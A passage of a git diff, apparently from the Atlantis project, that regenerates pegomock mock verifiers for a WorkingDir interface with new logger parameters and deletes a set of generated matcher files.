GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) +func (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.Repo) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param2 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.PullRequest) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return } -func (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification { - params := []pegomock.Param{r, p, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetWorkingDir", params, verifier.timeout) - return &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification { + _params := []pegomock.Param{logger, r, p} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Delete", _params, verifier.timeout) + return &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockWorkingDir_GetWorkingDir_OngoingVerification struct { +type MockWorkingDir_Delete_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { - r, p, workspace := c.GetAllCapturedArguments() - return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +func (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, r, p := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1] } -func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification { + _params := []pegomock.Param{logger, r, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteForWorkspace", _params, verifier.timeout) + return &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_DeleteForWorkspace_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, r, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +} + +func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + } + return +} + +func (verifier *VerifierMockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) *MockWorkingDir_DeletePlan_OngoingVerification { + _params := []pegomock.Param{logger, r, p, workspace, path, projectName} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlan", _params, verifier.timeout) + return &MockWorkingDir_DeletePlan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_DeletePlan_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, string, string) { + logger, r, p, workspace, path, projectName := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1], path[len(path)-1], projectName[len(projectName)-1] +} + +func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 []string, _param5 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + if len(_params) > 5 { + _param5 = make([]string, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification { + _params := []pegomock.Param{logger, r, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetGitUntrackedFiles", _params, verifier.timeout) + return &MockWorkingDir_GetGitUntrackedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_GetGitUntrackedFiles_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, r, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +} + +func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return } func (verifier *VerifierMockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) *MockWorkingDir_GetPullDir_OngoingVerification { - params := []pegomock.Param{r, p} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullDir", params, verifier.timeout) + _params := []pegomock.Param{r, p} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullDir", _params, verifier.timeout) return &MockWorkingDir_GetPullDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -245,81 +477,142 @@ func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetCapturedArguments() ( } func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } } } return } -func (verifier *VerifierMockWorkingDir) Delete(r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification { - params := []pegomock.Param{r, p} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Delete", params, verifier.timeout) - return &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification { + _params := []pegomock.Param{r, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetWorkingDir", _params, verifier.timeout) + return &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockWorkingDir_Delete_OngoingVerification struct { +type MockWorkingDir_GetWorkingDir_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - r, p := c.GetAllCapturedArguments() - return r[len(r)-1], p[len(p)-1] +func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { + r, p, workspace := c.GetAllCapturedArguments() + return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] } -func (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } } return } -func (verifier *VerifierMockWorkingDir) DeleteForWorkspace(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification { - params := []pegomock.Param{r, p, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteForWorkspace", params, verifier.timeout) - return &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) *MockWorkingDir_HasDiverged_OngoingVerification { + _params := []pegomock.Param{logger, cloneDir} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HasDiverged", _params, verifier.timeout) + return &MockWorkingDir_HasDiverged_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockWorkingDir_DeleteForWorkspace_OngoingVerification struct { +type MockWorkingDir_HasDiverged_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { - r, p, workspace := c.GetAllCapturedArguments() - return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { + logger, cloneDir := c.GetAllCapturedArguments() + return logger[len(logger)-1], cloneDir[len(cloneDir)-1] +} + +func (c *MockWorkingDir_HasDiverged_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_MergeAgain_OngoingVerification { + _params := []pegomock.Param{logger, headRepo, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergeAgain", _params, verifier.timeout) + return &MockWorkingDir_MergeAgain_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_MergeAgain_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, headRepo, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } -func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockWorkingDir_MergeAgain_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return diff --git a/server/events/mocks/matchers/azuredevops_event.go b/server/events/mocks/matchers/azuredevops_event.go deleted file mode 100644 index e8bb43d1c9..0000000000 --- a/server/events/mocks/matchers/azuredevops_event.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - azuredevops "github.com/mcdafydd/go-azuredevops/azuredevops" -) - -func AnyAzuredevopsEvent() azuredevops.Event { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(azuredevops.Event))(nil)).Elem())) - var nullValue azuredevops.Event - return nullValue -} - -func EqAzuredevopsEvent(value azuredevops.Event) azuredevops.Event { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue azuredevops.Event - return nullValue -} diff --git a/server/events/mocks/matchers/events_commentparseresult.go b/server/events/mocks/matchers/events_commentparseresult.go deleted file mode 100644 index 82e0e87f11..0000000000 --- a/server/events/mocks/matchers/events_commentparseresult.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - events "github.com/runatlantis/atlantis/server/events" -) - -func AnyEventsCommentParseResult() events.CommentParseResult { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(events.CommentParseResult))(nil)).Elem())) - var nullValue events.CommentParseResult - return nullValue -} - -func EqEventsCommentParseResult(value events.CommentParseResult) events.CommentParseResult { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue events.CommentParseResult - return nullValue -} diff --git a/server/events/mocks/matchers/go_gitlab_mergecommentevent.go b/server/events/mocks/matchers/go_gitlab_mergecommentevent.go deleted file mode 100644 index c7f196d695..0000000000 --- a/server/events/mocks/matchers/go_gitlab_mergecommentevent.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - go_gitlab "github.com/xanzy/go-gitlab" -) - -func AnyGoGitlabMergeCommentEvent() go_gitlab.MergeCommentEvent { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(go_gitlab.MergeCommentEvent))(nil)).Elem())) - var nullValue go_gitlab.MergeCommentEvent - return nullValue -} - -func EqGoGitlabMergeCommentEvent(value go_gitlab.MergeCommentEvent) go_gitlab.MergeCommentEvent { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue go_gitlab.MergeCommentEvent - return nullValue -} diff --git a/server/events/mocks/matchers/go_gitlab_mergeevent.go b/server/events/mocks/matchers/go_gitlab_mergeevent.go deleted file mode 100644 index e259a6da59..0000000000 --- a/server/events/mocks/matchers/go_gitlab_mergeevent.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - go_gitlab "github.com/xanzy/go-gitlab" -) - -func AnyGoGitlabMergeEvent() go_gitlab.MergeEvent { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(go_gitlab.MergeEvent))(nil)).Elem())) - var nullValue go_gitlab.MergeEvent - return nullValue -} - -func EqGoGitlabMergeEvent(value go_gitlab.MergeEvent) go_gitlab.MergeEvent { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue go_gitlab.MergeEvent - return nullValue -} diff --git a/server/events/mocks/matchers/map_of_string_to_string.go b/server/events/mocks/matchers/map_of_string_to_string.go deleted file mode 100644 index 4d969915af..0000000000 --- a/server/events/mocks/matchers/map_of_string_to_string.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - - -) - -func AnyMapOfStringToString() map[string]string { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(map[string]string))(nil)).Elem())) - var nullValue map[string]string - return nullValue -} - -func EqMapOfStringToString(value map[string]string) map[string]string { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue map[string]string - return nullValue -} diff --git a/server/events/mocks/matchers/models_commandname.go b/server/events/mocks/matchers/models_commandname.go deleted file mode 100644 index 6eba95f8ee..0000000000 --- a/server/events/mocks/matchers/models_commandname.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsCommandName() models.CommandName { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.CommandName))(nil)).Elem())) - var nullValue models.CommandName - return nullValue -} - -func EqModelsCommandName(value models.CommandName) models.CommandName { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.CommandName - return nullValue -} diff --git a/server/events/mocks/matchers/models_commitstatus.go b/server/events/mocks/matchers/models_commitstatus.go deleted file mode 100644 index 0f579baf85..0000000000 --- a/server/events/mocks/matchers/models_commitstatus.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsCommitStatus() models.CommitStatus { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.CommitStatus))(nil)).Elem())) - var nullValue models.CommitStatus - return nullValue -} - -func EqModelsCommitStatus(value models.CommitStatus) models.CommitStatus { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.CommitStatus - return nullValue -} diff --git a/server/events/mocks/matchers/models_project.go b/server/events/mocks/matchers/models_project.go deleted file mode 100644 index 4d1a43a965..0000000000 --- a/server/events/mocks/matchers/models_project.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsProject() models.Project { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.Project))(nil)).Elem())) - var nullValue models.Project - return nullValue -} - -func EqModelsProject(value models.Project) models.Project { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.Project - return nullValue -} diff --git a/server/events/mocks/matchers/models_projectcommandcontext.go b/server/events/mocks/matchers/models_projectcommandcontext.go deleted file mode 100644 index 1b68eb9e3e..0000000000 --- a/server/events/mocks/matchers/models_projectcommandcontext.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsProjectCommandContext() models.ProjectCommandContext { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.ProjectCommandContext))(nil)).Elem())) - var nullValue models.ProjectCommandContext - return nullValue -} - -func EqModelsProjectCommandContext(value models.ProjectCommandContext) models.ProjectCommandContext { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.ProjectCommandContext - return nullValue -} diff --git a/server/events/mocks/matchers/models_projectresult.go b/server/events/mocks/matchers/models_projectresult.go deleted file mode 100644 index 4411f242cb..0000000000 --- a/server/events/mocks/matchers/models_projectresult.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsProjectResult() models.ProjectResult { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.ProjectResult))(nil)).Elem())) - var nullValue models.ProjectResult - return nullValue -} - -func EqModelsProjectResult(value models.ProjectResult) models.ProjectResult { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.ProjectResult - return nullValue -} diff --git a/server/events/mocks/matchers/models_pullrequest.go b/server/events/mocks/matchers/models_pullrequest.go deleted file mode 100644 index dd1fb0d4ee..0000000000 --- a/server/events/mocks/matchers/models_pullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsPullRequest() models.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.PullRequest))(nil)).Elem())) - var nullValue models.PullRequest - return nullValue -} - -func EqModelsPullRequest(value models.PullRequest) models.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.PullRequest - return nullValue -} diff --git a/server/events/mocks/matchers/models_pullrequesteventtype.go b/server/events/mocks/matchers/models_pullrequesteventtype.go deleted file mode 100644 index 1ee73e2ea7..0000000000 --- a/server/events/mocks/matchers/models_pullrequesteventtype.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsPullRequestEventType() models.PullRequestEventType { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.PullRequestEventType))(nil)).Elem())) - var nullValue models.PullRequestEventType - return nullValue -} - -func EqModelsPullRequestEventType(value models.PullRequestEventType) models.PullRequestEventType { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.PullRequestEventType - return nullValue -} diff --git a/server/events/mocks/matchers/models_repo.go b/server/events/mocks/matchers/models_repo.go deleted file mode 100644 index 418f13cfcf..0000000000 --- a/server/events/mocks/matchers/models_repo.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsRepo() models.Repo { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.Repo))(nil)).Elem())) - var nullValue models.Repo - return nullValue -} - -func EqModelsRepo(value models.Repo) models.Repo { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.Repo - return nullValue -} diff --git a/server/events/mocks/matchers/models_user.go b/server/events/mocks/matchers/models_user.go deleted file mode 100644 index aa45448ddd..0000000000 --- a/server/events/mocks/matchers/models_user.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models 